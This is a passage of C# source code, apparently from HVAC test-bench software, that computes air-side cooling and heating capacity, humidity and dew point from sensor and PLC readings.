Measure.Outdoors[(int)EMeasOutdoor.Use].Value = EnumHelper.GetNames<EOutdoorUse>()[(int)sch.OutdoorUse];
Measure.Outdoors[(int)EMeasOutdoor.DPSensor].Value = EnumHelper.GetNames<EEtcUse>()[(int)sch.OutdoorDpSensor];
Measure.Outdoors[(int)EMeasOutdoor.AutoVoltage].Value = EnumHelper.GetNames<EEtcUse>()[(int)sch.OutdoorAutoVolt];
Measure.Outdoors[(int)EMeasIndoor.DB].Value = sch.OutdoorDB.ToString("0.00");
Measure.Outdoors[(int)EMeasIndoor.DB].Unit = Condition.Method.Temperature.ToDescription();
Measure.Outdoors[(int)EMeasIndoor.WB].Value = sch.OutdoorWB.ToString("0.00");
Measure.Outdoors[(int)EMeasIndoor.WB].Unit = Condition.Method.Temperature.ToDescription();
for (int i = 0; i < Condition.TC1.Count; i++)
{
if (Condition.TC1[i].Name.Trim() != "")
{
Measure.IndoorTC1[i].Value = "";
Measure.IndoorTC1[i].Unit = "";
Measure.IndoorTC1[i].Name = Condition.TC1[i].Name.Trim();
}
else
{
Measure.IndoorTC1[i].Value = "-";
Measure.IndoorTC1[i].Unit = "-";
Measure.IndoorTC1[i].Name = "-";
}
}
for (int i = 0; i < Condition.TC2.Count; i++)
{
if (Condition.TC2[i].Name.Trim() != "")
{
Measure.IndoorTC2[i].Value = "";
Measure.IndoorTC2[i].Unit = "";
Measure.IndoorTC2[i].Name = Condition.TC2[i].Name.Trim();
}
else
{
Measure.IndoorTC2[i].Value = "-";
Measure.IndoorTC2[i].Unit = "-";
Measure.IndoorTC2[i].Name = "-";
}
}
for (int i = 0; i < Condition.TC3.Count; i++)
{
if (Condition.TC3[i].Name.Trim() != "")
{
Measure.OutdoorTC[i].Value = "";
Measure.OutdoorTC[i].Unit = "";
Measure.OutdoorTC[i].Name = Condition.TC3[i].Name.Trim();
}
else
{
Measure.OutdoorTC[i].Value = "-";
Measure.OutdoorTC[i].Unit = "-";
Measure.OutdoorTC[i].Name = "-";
}
}
for (int i = 0; i < Condition.Pressures.Count; i++)
{
if (Condition.Pressures[i].Name.Trim() != "")
{
Measure.Pressures[i].Value = "";
Measure.Pressures[i].Unit = "";
Measure.Pressures[i].Name = Condition.Pressures[i].Name.Trim();
}
else
{
Measure.Pressures[i].Value = "-";
Measure.Pressures[i].Unit = "-";
Measure.Pressures[i].Name = "-";
}
}
if (sch.IndoorMode == EIndoorMode.Cooling)
{
Value.SetUnitTo(EUnitType.Capacity, (int)Condition.Method.CoolingCapacity);
Value.SetUnitTo(EUnitType.EER_COP, (int)Condition.Method.CoolingCapacity);
}
else
{
Value.SetUnitTo(EUnitType.Capacity, (int)Condition.Method.HeatingCapacity);
Value.SetUnitTo(EUnitType.EER_COP, (int)Condition.Method.HeatingCapacity);
}
}
public void RefreshCondition()
{
ConditionSchedule sch = Condition.Schedules[Index];
// Note
Measure.Notes[(int)EMeasNote.Company].Value = Condition.Note.Company;
Measure.Notes[(int)EMeasNote.TestName].Value = Condition.Note.Name;
Measure.Notes[(int)EMeasNote.TestNo].Value = Condition.Note.No;
Measure.Notes[(int)EMeasNote.Observer].Value = Condition.Note.Observer;
Measure.Notes[(int)EMeasNote.Maker].Value = Condition.Note.Maker;
Measure.Notes[(int)EMeasNote.Model1].Value = Condition.Note.Model1;
Measure.Notes[(int)EMeasNote.SerialNo1].Value = Condition.Note.Serial1;
Measure.Notes[(int)EMeasNote.Model2].Value = Condition.Note.Model2;
Measure.Notes[(int)EMeasNote.SerialNo2].Value = Condition.Note.Serial2;
Measure.Notes[(int)EMeasNote.Model3].Value = Condition.Note.Model3;
Measure.Notes[(int)EMeasNote.SerialNo3].Value = Condition.Note.Serial3;
Measure.Notes[(int)EMeasNote.ExpDevice].Value = Condition.Note.ExpDevice;
Measure.Notes[(int)EMeasNote.Refrigerant].Value = Condition.Note.Refrigerant;
Measure.Notes[(int)EMeasNote.RefCharge].Value = Condition.Note.RefCharge;
Measure.Notes[(int)EMeasNote.Memo].Value = Condition.Note.Memo;
//Indoor1 #1
Measure.Indoors11[(int)EMeasIndoor.DB].Value = sch.Indoor1DB.ToString("0.00");
Measure.Indoors11[(int)EMeasIndoor.WB].Value = sch.Indoor1WB.ToString("0.00");
//Indoor1 #2
Measure.Indoors12[(int)EMeasIndoor.DB].Value = sch.Indoor1DB.ToString("0.00");
Measure.Indoors12[(int)EMeasIndoor.WB].Value = sch.Indoor1WB.ToString("0.00");
//Indoor2 #1
Measure.Indoors21[(int)EMeasIndoor.DB].Value = sch.Indoor2DB.ToString("0.00");
Measure.Indoors21[(int)EMeasIndoor.WB].Value = sch.Indoor2WB.ToString("0.00");
//Indoor2 #2
Measure.Indoors22[(int)EMeasIndoor.DB].Value = sch.Indoor2DB.ToString("0.00");
Measure.Indoors22[(int)EMeasIndoor.WB].Value = sch.Indoor2WB.ToString("0.00");
//Outdoor
Measure.Outdoors[(int)EMeasIndoor.DB].Value = sch.OutdoorDB.ToString("0.00");
Measure.Outdoors[(int)EMeasIndoor.WB].Value = sch.OutdoorWB.ToString("0.00");
for (int i = 0; i < Condition.TC1.Count; i++)
{
if (Condition.TC1[i].Name.Trim() != "")
{
Measure.IndoorTC1[i].Value = "";
Measure.IndoorTC1[i].Name = Condition.TC1[i].Name.Trim();
}
else
{
Measure.IndoorTC1[i].Value = "-";
Measure.IndoorTC1[i].Unit = "-";
Measure.IndoorTC1[i].Name = "-";
}
}
for (int i = 0; i < Condition.TC2.Count; i++)
{
if (Condition.TC2[i].Name.Trim() != "")
{
Measure.IndoorTC2[i].Value = "";
Measure.IndoorTC2[i].Name = Condition.TC2[i].Name.Trim();
}
else
{
Measure.IndoorTC2[i].Value = "-";
Measure.IndoorTC2[i].Name = "-";
}
}
for (int i = 0; i < Condition.TC3.Count; i++)
{
if (Condition.TC3[i].Name.Trim() != "")
{
Measure.OutdoorTC[i].Value = "";
Measure.OutdoorTC[i].Name = Condition.TC3[i].Name.Trim();
}
else
{
Measure.OutdoorTC[i].Value = "-";
Measure.OutdoorTC[i].Unit = "-";
Measure.OutdoorTC[i].Name = "-";
}
}
for (int i = 0; i < Condition.Pressures.Count; i++)
{
if (Condition.Pressures[i].Name.Trim() != "")
{
Measure.Pressures[i].Value = "";
Measure.Pressures[i].Name = Condition.Pressures[i].Name.Trim();
}
else
{
Measure.Pressures[i].Value = "-";
Measure.Pressures[i].Unit = "-";
Measure.Pressures[i].Name = "-";
}
}
}
public void Calcurate()
{
InitializeCalc();
SetPowerMeterValues();
MainCalc();
FinalizeCalc();
}
private void InitializeCalc()
{
SetFixedAtmPressure();
}
private void MainCalc()
{
CalcNozzle();
ConditionSchedule sch = Condition.Schedules[Index];
Dictionary<string, ValueRow> inVar = new Dictionary<string, ValueRow>();
Dictionary<string, ValueRow> outVar = new Dictionary<string, ValueRow>();
inVar.Clear();
inVar.Add("Entering DB", Value.Measured["ID11.Entering.DB"]);
inVar.Add("Entering WB", Value.Measured["ID11.Entering.WB"]);
inVar.Add("Leaving DB", Value.Measured["ID11.Leaving.DB"]);
inVar.Add("Leaving WB", Value.Measured["ID11.Leaving.WB"]);
inVar.Add("Nozzle1", Value.Calcurated["ID11.Nozzle.1"]);
inVar.Add("Nozzle2", Value.Calcurated["ID11.Nozzle.2"]);
inVar.Add("Nozzle3", Value.Calcurated["ID11.Nozzle.3"]);
inVar.Add("Nozzle4", Value.Calcurated["ID11.Nozzle.4"]);
inVar.Add("Nozzle Diff Pressure", Value.Measured["ID11.Nozzle.Diff.Pressure"]);
inVar.Add("Atmospheric Pressure", Value.Measured["ID1.Atm.Pressure"]);
inVar.Add("Static Pressure", Value.Measured["ID11.Static.Pressure"]);
inVar.Add("Nozzle Inlet Temp", Value.Measured["ID11.Nozzle.Inlet.Temp"]);
outVar.Clear();
outVar.Add("Capacity", Value.Calcurated["ID11.Capacity"]);
outVar.Add("Drain Weight", Value.Calcurated["ID11.Drain.Weight"]);
outVar.Add("Latent Heat", Value.Calcurated["ID11.Latent.Heat"]);
outVar.Add("Sensible Heat", Value.Calcurated["ID11.Sensible.Heat"]);
outVar.Add("Sensible Heat Ratio", Value.Calcurated["ID11.Sensible.Heat.Ratio"]);
outVar.Add("Heat Leakage", Value.Calcurated["ID11.Heat.Leakage"]);
outVar.Add("Entering RH", Value.Calcurated["ID11.Entering.RH"]);
outVar.Add("Leaving RH", Value.Calcurated["ID11.Leaving.RH"]);
outVar.Add("Entering Enthalpy", Value.Calcurated["ID11.Entering.Enthalpy"]);
outVar.Add("Leaving Enthalpy", Value.Calcurated["ID11.Leaving.Enthalpy"]);
outVar.Add("Entering Humidity Ratio", Value.Calcurated["ID11.Entering.Humidity.Ratio"]);
outVar.Add("Leaving Humidity Ratio", Value.Calcurated["ID11.Leaving.Humidity.Ratio"]);
outVar.Add("Leaving Specific Heat", Value.Calcurated["ID11.Leaving.Specific.Heat"]);
outVar.Add("Leaving Specific Volume", Value.Calcurated["ID11.Leaving.Specific.Volume"]);
outVar.Add("Air Flow [Lev]", Value.Calcurated["ID11.Air.Flow.Lev"]);
outVar.Add("Air Velocity [Lev]", Value.Calcurated["ID11.Air.Velocity.Lev"]);
CalcAir(Resource.Settings.Coefficients[0], sch.Indoor1Mode1, sch.Indoor1Duct1, inVar, outVar);
if (sch.Indoor1Mode1 == EIndoorMode.NotUsed)
{
Value.Calcurated["ID11.Capacity.Ratio"].StoredValue = 0;
}
else
{
int mode = (sch.Indoor1Mode1 == EIndoorMode.Cooling) ? 0 : 1;
if (Condition.Rateds[EConditionRated.ID11][mode].Capacity == 0)
{
Value.Calcurated["ID11.Capacity.Ratio"].StoredValue = 0;
}
else
{
Value.Calcurated["ID11.Capacity.Ratio"].StoredValue =
Value.Calcurated["ID11.Capacity"].Value / Condition.Rateds[EConditionRated.ID11][mode].Capacity * 100.0f;
}
}
inVar.Clear();
inVar.Add("Entering DB", Value.Measured["ID12.Entering.DB"]);
inVar.Add("Entering WB", Value.Measured["ID12.Entering.WB"]);
inVar.Add("Leaving DB", Value.Measured["ID12.Leaving.DB"]);
inVar.Add("Leaving WB", Value.Measured["ID12.Leaving.WB"]);
inVar.Add("Nozzle1", Value.Calcurated["ID12.Nozzle.1"]);
inVar.Add("Nozzle2", Value.Calcurated["ID12.Nozzle.2"]);
inVar.Add("Nozzle3", Value.Calcurated["ID12.Nozzle.3"]);
inVar.Add("Nozzle4", Value.Calcurated["ID12.Nozzle.4"]);
inVar.Add("Nozzle Diff Pressure", Value.Measured["ID12.Nozzle.Diff.Pressure"]);
inVar.Add("Atmospheric Pressure", Value.Measured["ID1.Atm.Pressure"]);
inVar.Add("Static Pressure", Value.Measured["ID12.Static.Pressure"]);
inVar.Add("Nozzle Inlet Temp", Value.Measured["ID12.Nozzle.Inlet.Temp"]);
outVar.Clear();
outVar.Add("Capacity", Value.Calcurated["ID12.Capacity"]);
outVar.Add("Drain Weight", Value.Calcurated["ID12.Drain.Weight"]);
outVar.Add("Latent Heat", Value.Calcurated["ID12.Latent.Heat"]);
outVar.Add("Sensible Heat", Value.Calcurated["ID12.Sensible.Heat"]);
outVar.Add("Sensible Heat Ratio", Value.Calcurated["ID12.Sensible.Heat.Ratio"]);
outVar.Add("Heat Leakage", Value.Calcurated["ID12.Heat.Leakage"]);
outVar.Add("Entering RH", Value.Calcurated["ID12.Entering.RH"]);
outVar.Add("Leaving RH", Value.Calcurated["ID12.Leaving.RH"]);
outVar.Add("Entering Enthalpy", Value.Calcurated["ID12.Entering.Enthalpy"]);
outVar.Add("Leaving Enthalpy", Value.Calcurated["ID12.Leaving.Enthalpy"]);
outVar.Add("Entering Humidity Ratio", Value.Calcurated["ID12.Entering.Humidity.Ratio"]);
outVar.Add("Leaving Humidity Ratio", Value.Calcurated["ID12.Leaving.Humidity.Ratio"]);
outVar.Add("Leaving Specific Heat", Value.Calcurated["ID12.Leaving.Specific.Heat"]);
outVar.Add("Leaving Specific Volume", Value.Calcurated["ID12.Leaving.Specific.Volume"]);
outVar.Add("Air Flow [Lev]", Value.Calcurated["ID12.Air.Flow.Lev"]);
outVar.Add("Air Velocity [Lev]", Value.Calcurated["ID12.Air.Velocity.Lev"]);
CalcAir(Resource.Settings.Coefficients[1], sch.Indoor1Mode2, sch.Indoor1Duct2, inVar, outVar);
if (sch.Indoor1Mode2 == EIndoorMode.NotUsed)
{
Value.Calcurated["ID12.Capacity.Ratio"].StoredValue = 0;
}
else
{
int mode = (sch.Indoor1Mode2 == EIndoorMode.Cooling) ? 0 : 1;
if (Condition.Rateds[EConditionRated.ID12][mode].Capacity == 0)
{
Value.Calcurated["ID12.Capacity.Ratio"].StoredValue = 0;
}
else
{
Value.Calcurated["ID12.Capacity.Ratio"].StoredValue =
Value.Calcurated["ID12.Capacity"].Value / Condition.Rateds[EConditionRated.ID12][mode].Capacity * 100.0f;
}
}
inVar.Clear();
inVar.Add("Entering DB", Value.Measured["ID21.Entering.DB"]);
inVar.Add("Entering WB", Value.Measured["ID21.Entering.WB"]);
inVar.Add("Leaving DB", Value.Measured["ID21.Leaving.DB"]);
inVar.Add("Leaving WB", Value.Measured["ID21.Leaving.WB"]);
inVar.Add("Nozzle1", Value.Calcurated["ID21.Nozzle.1"]);
inVar.Add("Nozzle2", Value.Calcurated["ID21.Nozzle.2"]);
inVar.Add("Nozzle3", Value.Calcurated["ID21.Nozzle.3"]);
inVar.Add("Nozzle4", Value.Calcurated["ID21.Nozzle.4"]);
inVar.Add("Nozzle Diff Pressure", Value.Measured["ID21.Nozzle.Diff.Pressure"]);
inVar.Add("Atmospheric Pressure", Value.Measured["ID2.Atm.Pressure"]);
inVar.Add("Static Pressure", Value.Measured["ID21.Static.Pressure"]);
inVar.Add("Nozzle Inlet Temp", Value.Measured["ID21.Nozzle.Inlet.Temp"]);
outVar.Clear();
outVar.Add("Capacity", Value.Calcurated["ID21.Capacity"]);
outVar.Add("Drain Weight", Value.Calcurated["ID21.Drain.Weight"]);
outVar.Add("Latent Heat", Value.Calcurated["ID21.Latent.Heat"]);
outVar.Add("Sensible Heat", Value.Calcurated["ID21.Sensible.Heat"]);
outVar.Add("Sensible Heat Ratio", Value.Calcurated["ID21.Sensible.Heat.Ratio"]);
outVar.Add("Heat Leakage", Value.Calcurated["ID21.Heat.Leakage"]);
outVar.Add("Entering RH", Value.Calcurated["ID21.Entering.RH"]);
outVar.Add("Leaving RH", Value.Calcurated["ID21.Leaving.RH"]);
outVar.Add("Entering Enthalpy", Value.Calcurated["ID21.Entering.Enthalpy"]);
outVar.Add("Leaving Enthalpy", Value.Calcurated["ID21.Leaving.Enthalpy"]);
outVar.Add("Entering Humidity Ratio", Value.Calcurated["ID21.Entering.Humidity.Ratio"]);
outVar.Add("Leaving Humidity Ratio", Value.Calcurated["ID21.Leaving.Humidity.Ratio"]);
outVar.Add("Leaving Specific Heat", Value.Calcurated["ID21.Leaving.Specific.Heat"]);
outVar.Add("Leaving Specific Volume", Value.Calcurated["ID21.Leaving.Specific.Volume"]);
outVar.Add("Air Flow [Lev]", Value.Calcurated["ID21.Air.Flow.Lev"]);
outVar.Add("Air Velocity [Lev]", Value.Calcurated["ID21.Air.Velocity.Lev"]);
CalcAir(Resource.Settings.Coefficients[2], sch.Indoor2Mode1, sch.Indoor2Duct1, inVar, outVar);
if (sch.Indoor2Mode1 == EIndoorMode.NotUsed)
{
Value.Calcurated["ID21.Capacity.Ratio"].StoredValue = 0;
}
else
{
int mode = (sch.Indoor2Mode1 == EIndoorMode.Cooling) ? 0 : 1;
if (Condition.Rateds[EConditionRated.ID21][mode].Capacity == 0)
{
Value.Calcurated["ID21.Capacity.Ratio"].StoredValue = 0;
}
else
{
Value.Calcurated["ID21.Capacity.Ratio"].StoredValue =
Value.Calcurated["ID21.Capacity"].Value / Condition.Rateds[EConditionRated.ID21][mode].Capacity * 100.0f;
}
}
inVar.Clear();
inVar.Add("Entering DB", Value.Measured["ID22.Entering.DB"]);
inVar.Add("Entering WB", Value.Measured["ID22.Entering.WB"]);
inVar.Add("Leaving DB", Value.Measured["ID22.Leaving.DB"]);
inVar.Add("Leaving WB", Value.Measured["ID22.Leaving.WB"]);
inVar.Add("Nozzle1", Value.Calcurated["ID22.Nozzle.1"]);
inVar.Add("Nozzle2", Value.Calcurated["ID22.Nozzle.2"]);
inVar.Add("Nozzle3", Value.Calcurated["ID22.Nozzle.3"]);
inVar.Add("Nozzle4", Value.Calcurated["ID22.Nozzle.4"]);
inVar.Add("Nozzle Diff Pressure", Value.Measured["ID22.Nozzle.Diff.Pressure"]);
inVar.Add("Atmospheric Pressure", Value.Measured["ID2.Atm.Pressure"]);
inVar.Add("Static Pressure", Value.Measured["ID22.Static.Pressure"]);
inVar.Add("Nozzle Inlet Temp", Value.Measured["ID22.Nozzle.Inlet.Temp"]);
outVar.Clear();
outVar.Add("Capacity", Value.Calcurated["ID22.Capacity"]);
outVar.Add("Drain Weight", Value.Calcurated["ID22.Drain.Weight"]);
outVar.Add("Latent Heat", Value.Calcurated["ID22.Latent.Heat"]);
outVar.Add("Sensible Heat", Value.Calcurated["ID22.Sensible.Heat"]);
outVar.Add("Sensible Heat Ratio", Value.Calcurated["ID22.Sensible.Heat.Ratio"]);
outVar.Add("Heat Leakage", Value.Calcurated["ID22.Heat.Leakage"]);
outVar.Add("Entering RH", Value.Calcurated["ID22.Entering.RH"]);
outVar.Add("Leaving RH", Value.Calcurated["ID22.Leaving.RH"]);
outVar.Add("Entering Enthalpy", Value.Calcurated["ID22.Entering.Enthalpy"]);
outVar.Add("Leaving Enthalpy", Value.Calcurated["ID22.Leaving.Enthalpy"]);
outVar.Add("Entering Humidity Ratio", Value.Calcurated["ID22.Entering.Humidity.Ratio"]);
outVar.Add("Leaving Humidity Ratio", Value.Calcurated["ID22.Leaving.Humidity.Ratio"]);
outVar.Add("Leaving Specific Heat", Value.Calcurated["ID22.Leaving.Specific.Heat"]);
outVar.Add("Leaving Specific Volume", Value.Calcurated["ID22.Leaving.Specific.Volume"]);
outVar.Add("Air Flow [Lev]", Value.Calcurated["ID22.Air.Flow.Lev"]);
outVar.Add("Air Velocity [Lev]", Value.Calcurated["ID22.Air.Velocity.Lev"]);
CalcAir(Resource.Settings.Coefficients[3], sch.Indoor2Mode2, sch.Indoor2Duct2, inVar, outVar);
if (sch.Indoor2Mode2 == EIndoorMode.NotUsed)
{
Value.Calcurated["ID22.Capacity.Ratio"].StoredValue = 0;
}
else
{
int mode = (sch.Indoor2Mode2 == EIndoorMode.Cooling) ? 0 : 1;
if (Condition.Rateds[EConditionRated.ID22][mode].Capacity == 0)
{
Value.Calcurated["ID22.Capacity.Ratio"].StoredValue = 0;
}
else
{
Value.Calcurated["ID22.Capacity.Ratio"].StoredValue =
Value.Calcurated["ID22.Capacity"].Value / Condition.Rateds[EConditionRated.ID22][mode].Capacity * 100.0f;
}
}
inVar.Clear();
inVar.Add("Entering DB", Value.Measured["OD.Entering.DB"]);
inVar.Add("Entering WB", Value.Measured["OD.Entering.WB"]);
inVar.Add("Atmospheric Pressure", Value.Measured["ID1.Atm.Pressure"]);
outVar.Clear();
outVar.Add("Entering RH", Value.Calcurated["OD.Entering.RH"]);
CalcAir(null, EIndoorMode.Cooling, EIndoorDuct.NotUsed, inVar, outVar);
Value.Calcurated["Total.Capacity"].StoredValue =
(Value.Calcurated["ID11.Capacity"].Raw + Value.Calcurated["ID12.Capacity"].Raw +
Value.Calcurated["ID21.Capacity"].Raw + Value.Calcurated["ID22.Capacity"].Raw);
if (Value.Calcurated["Total.Power"].Raw == 0)
{
Value.Calcurated["Total.EER_COP"].StoredValue = 0f;
}
else
{
Value.Calcurated["Total.EER_COP"].StoredValue =
Value.Calcurated["Total.Capacity"].Raw / Value.Calcurated["Total.Power"].Raw;
}
}
private void FinalizeCalc()
{
CalcTotalRatio();
CalcOutdoorDP(); // DP Sensor 사용시
//CalcOutdoorRH(); // RH Sensor 사용시
Value.Calcurated["OD.Sat.Dis.Temp1"].StoredValue = 0;
Value.Calcurated["OD.Sat.Suc.Temp1"].StoredValue = 0;
Value.Calcurated["OD.Sub.Cooling1"].StoredValue = 0;
Value.Calcurated["OD.Super.Heat1"].StoredValue = 0;
Value.Calcurated["OD.Sat.Dis.Temp2"].StoredValue = 0;
Value.Calcurated["OD.Sat.Suc.Temp2"].StoredValue = 0;
Value.Calcurated["OD.Sub.Cooling2"].StoredValue = 0;
Value.Calcurated["OD.Super.Heat2"].StoredValue = 0;
}
private void CalcNozzle()
{
UInt16 value = (UInt16)(((UInt16)Value.Measured["PLC1.01"].Raw) >> 12);
Value.Calcurated["ID11.Nozzle"].StoredValue = value;
Value.Calcurated["ID11.Nozzle.1"].StoredValue = (UlBits.Get((byte)value, 0) == true) ? 1 : 0;
Value.Calcurated["ID11.Nozzle.2"].StoredValue = (UlBits.Get((byte)value, 1) == true) ? 1 : 0;
Value.Calcurated["ID11.Nozzle.3"].StoredValue = (UlBits.Get((byte)value, 2) == true) ? 1 : 0;
Value.Calcurated["ID11.Nozzle.4"].StoredValue = (UlBits.Get((byte)value, 3) == true) ? 1 : 0;
value = (UInt16)((((UInt16)Value.Measured["PLC1.02"].Raw) >> 1) & 0x000F);
Value.Calcurated["ID12.Nozzle"].StoredValue = value;
Value.Calcurated["ID12.Nozzle.1"].StoredValue = (UlBits.Get((byte)value, 0) == true) ? 1 : 0;
Value.Calcurated["ID12.Nozzle.2"].StoredValue = (UlBits.Get((byte)value, 1) == true) ? 1 : 0;
Value.Calcurated["ID12.Nozzle.3"].StoredValue = (UlBits.Get((byte)value, 2) == true) ? 1 : 0;
Value.Calcurated["ID12.Nozzle.4"].StoredValue = (UlBits.Get((byte)value, 3) == true) ? 1 : 0;
value = (UInt16)(((((UInt16)Value.Measured["PLC1.03"].Raw) & 0xC000) >> 14) | ((((UInt16)Value.Measured["PLC1.04"].Raw) & 0x0003) << 2));
Value.Calcurated["ID21.Nozzle"].StoredValue = value;
Value.Calcurated["ID21.Nozzle.1"].StoredValue = (UlBits.Get((byte)value, 0) == true) ? 1 : 0;
Value.Calcurated["ID21.Nozzle.2"].StoredValue = (UlBits.Get((byte)value, 1) == true) ? 1 : 0;
Value.Calcurated["ID21.Nozzle.3"].StoredValue = (UlBits.Get((byte)value, 2) == true) ? 1 : 0;
Value.Calcurated["ID21.Nozzle.4"].StoredValue = (UlBits.Get((byte)value, 3) == true) ? 1 : 0;
value = (UInt16)((((UInt16)Value.Measured["PLC1.04"].Raw) >> 3) & 0x000F);
Value.Calcurated["ID22.Nozzle"].StoredValue = value;
Value.Calcurated["ID22.Nozzle.1"].StoredValue = (UlBits.Get((byte)value, 0) == true) ? 1 : 0;
Value.Calcurated["ID22.Nozzle.2"].StoredValue = (UlBits.Get((byte)value, 1) == true) ? 1 : 0;
Value.Calcurated["ID22.Nozzle.3"].StoredValue = (UlBits.Get((byte)value, 2) == true) ? 1 : 0;
Value.Calcurated["ID22.Nozzle.4"].StoredValue = (UlBits.Get((byte)value, 3) == true) ? 1 : 0;
}
private void CalcTotalRatio()
{
// Capacity Ratio
try
{
Value.Calcurated["Total.Capacity.Ratio"].StoredValue =
Value.Calcurated["Total.Capacity"].Value / Value.Const["Total.Rated.Capacity"].Raw * 100f;
}
catch
{
Value.Calcurated["Total.Capacity.Ratio"].StoredValue = 0;
}
// Power Input Ratio
try
{
Value.Calcurated["Total.Power.Ratio"].StoredValue =
Value.Calcurated["Total.Power"].Raw / Value.Const["Total.Rated.Power"].Raw * 100f;
}
catch
{
Value.Calcurated["Total.Power.Ratio"].StoredValue = 0;
}
// EER/COP Ratio
try
{
Value.Calcurated["Total.EER_COP.Ratio"].StoredValue =
Value.Calcurated["Total.EER_COP"].Value / Value.Const["Total.Rated.EER_COP"].Raw * 100f;
}
catch
{
Value.Calcurated["Total.EER_COP.Ratio"].StoredValue = 0;
}
// Current Ratio
try
{
Value.Calcurated["Total.Current.Ratio"].StoredValue =
Value.Calcurated["Total.Current"].Raw / Value.Const["Total.Rated.Current"].Raw * 100f;
}
catch
{
Value.Calcurated["Total.Current.Ratio"].StoredValue = 0;
}
}
private void CalcOutdoorDP()
{
ConditionSchedule sch = Condition.Schedules[Index];
double OD1_EnteringDB = Value.Measured["OD.Entering.DB"].Raw;
double OD1_EnteringWB = Value.Measured["OD.Entering.WB"].Raw;
double ID1_AtmosphericPressure = Value.Measured["ID1.Atm.Pressure"].Raw;
double OD1_EnteringDP = Value.Measured["OD.Entering.DP"].Raw;
// DP 사용이거나 Outdoor Entering DB가 0도 미만일 경우 측정값 사용. 아닌경우 계산값 사용
if ((sch.OutdoorDpSensor != EEtcUse.Use) && (OD1_EnteringDB >= 0))
{
double epws = AirFormula.GetPws(OD1_EnteringWB); // Entering WB 기준 포화수증기압
double exs = AirFormula.GetXs(ID1_AtmosphericPressure, epws); // Entering WB 기준 포화절대습도
double exw = AirFormula.GetXw(OD1_EnteringDB, OD1_EnteringWB, exs); // Entering 절대습도
var dp = AirFormula.GetDp(ID1_AtmosphericPressure, OD1_EnteringDB, exw);
Value.Measured["OD.Entering.DP"].Value = (float)dp;
}
if (OD1_EnteringDB < 0)
{
var pws = AirFormula.GetPws(OD1_EnteringDP);
var pws2 = AirFormula.GetPws(OD1_EnteringDB);
var xs = AirFormula.GetXs(AirFormula.Pb, pws);
var rh = AirFormula.GetRh(AirFormula.Pb, pws2, xs, 0, OD1_EnteringDB);
Value.Calcurated["OD.Entering.RH"].Value = (float)rh;
}
}
private void CalcOutdoorRH()
{
ConditionSchedule sch = Condition.Schedules[Index];
double OD1_EnteringDB = Value.Measured["OD.Entering.DB"].Raw;
double OD1_EnteringWB = Value.Measured["OD.Entering.WB"].Raw;
double ID1_AtmosphericPressure = Value.Measured["ID1.Atm.Pressure"].Raw;
double OD1_EnteringRH = Value.Measured["OD.Entering.RH"].Raw;
// RH 사용이거나 Outdoor Entering DB가 0도 미만일 경우 측정값 사용. 아닌경우 계산값 사용
if (sch.OutdoorDpSensor == EEtcUse.Use || OD1_EnteringDB < 0)
Value.Measured["OD.Entering.RH"].Value = (float)OD1_EnteringRH;
// 노점 온도 계산
if (OD1_EnteringDB >= 0)
{
double epws = AirFormula.GetPws(OD1_EnteringWB); // Entering WB 기준 포화수증기압
double exs = AirFormula.GetXs(ID1_AtmosphericPressure, epws); // Entering WB 기준 포화절대습도
double exw = AirFormula.GetXw(OD1_EnteringDB, OD1_EnteringWB, exs); // Entering 절대습도
var dp = AirFormula.GetDp(ID1_AtmosphericPressure, OD1_EnteringDB, exw);
Value.Calcurated["OD.Entering.DP"].Value = (float)dp;
}
else
{
double epws = AirFormula.GetPws(OD1_EnteringDB); // Entering WB 기준 포화수증기압
var wb = AirFormula.GetWb(AirFormula.Pb, epws, OD1_EnteringDB, OD1_EnteringRH);
epws = AirFormula.GetPws(wb); // Entering WB 기준 포화수증기압
double exs = AirFormula.GetXs(AirFormula.Pb, epws); // Entering WB 기준 포화절대습도
double exw = AirFormula.GetXwn(exs, OD1_EnteringDB, wb); // Entering 절대습도
var dp = AirFormula.GetDp(AirFormula.Pb, OD1_EnteringDB, exw);
Value.Calcurated["OD.Entering.DP"].Value = (float)dp;
}
}
#region CalcWater
//private void CalcWater(ModeKind2 mode, UseKind nrGtUse, Dictionary<string, MeasureValue> i, Dictionary<string, MeasureValue> o, bool isLoadSide)
//{
// var waterInletTemp = i["Water Inlet Temperature"].Value;
// var waterOutletTemp = i["Water Outlet Temperature"].Value;
// var waterFlowRate = i["Water Flow Rate"].Value;
// var waterDensity = WaterFormula.GetWaterDensity(waterInletTemp);
// var massWaterFlow = WaterFormula.GetMassWaterFlow(waterFlowRate, waterDensity);
// var specificHeat = WaterFormula.GetSpecificHeat(waterInletTemp);
// var pressureDrop = i["Pressure Drop"].Value;
// var pumpPower = 0d;
// if (nrGtUse == UseKind.Use)
// pumpPower = WaterFormula.GetPumpPower(waterFlowRate, pressureDrop);
// var deltaT = 0d;
// var netCapacity = 0d;
// if (mode == ModeKind2.Cooling)
// {
// if (isLoadSide == true)
// {
// deltaT = waterInletTemp - waterOutletTemp;
// netCapacity = -pumpPower;
// }
// // Heat Source
// else
// {
// deltaT = waterOutletTemp - waterInletTemp;
// netCapacity = pumpPower;
// }
// }
// // Heating
// else
// {
// if (isLoadSide == true)
// {
// deltaT = waterOutletTemp - waterInletTemp;
// netCapacity = pumpPower;
// }
// else
// {
// deltaT = waterInletTemp - waterOutletTemp;
// netCapacity = -pumpPower;
// }
// }
// var capacity = massWaterFlow * specificHeat * deltaT * 1000;
// netCapacity += capacity;
// o["Net Capacity"].Value = netCapacity;
// o["Capacity"].Value = capacity;
// var waterFlowRateLs = WaterFormula.GetWaterFlowRateToLs(waterFlowRate);
// o["Water Flow Rate"].Value = waterFlowRateLs;
// o["Specific Heat"].Value = specificHeat;
// o["Water Density"].Value = waterDensity;
// o["Water Diff. Temperature"].Value = deltaT;
// o["Pressure Drop"].Value = WaterFormula.GetPressureDropTokPa(pressureDrop);
// o["Pump Power"].Value = pumpPower;
//}
#endregion
private void CalcAir(
CoefficientDataRow coefficient,
EIndoorMode mode,
EIndoorDuct duct,
Dictionary<string, ValueRow> i,
Dictionary<string, ValueRow> o)
{
if (mode == EIndoorMode.NotUsed)
{
foreach (KeyValuePair<string, ValueRow> row in o)
{
if (row.Value != null)
{
row.Value.StoredValue = 0;
}
}
return;
}
double etd = i["Entering DB"].Raw;
double etw = i["Entering WB"].Raw;
double pb = i["Atmospheric Pressure"].Raw;
double epds = AirFormula.GetPws(etd); // Entering DB 기준 포화수증기압
double epws = AirFormula.GetPws(etw); // Entering WB 기준 포화수증기압
double exs = AirFormula.GetXs(pb, epws); // Entering WB 기준 포화절대습도
double exw = AirFormula.GetXw(etd, etw, exs); // Entering 절대습도
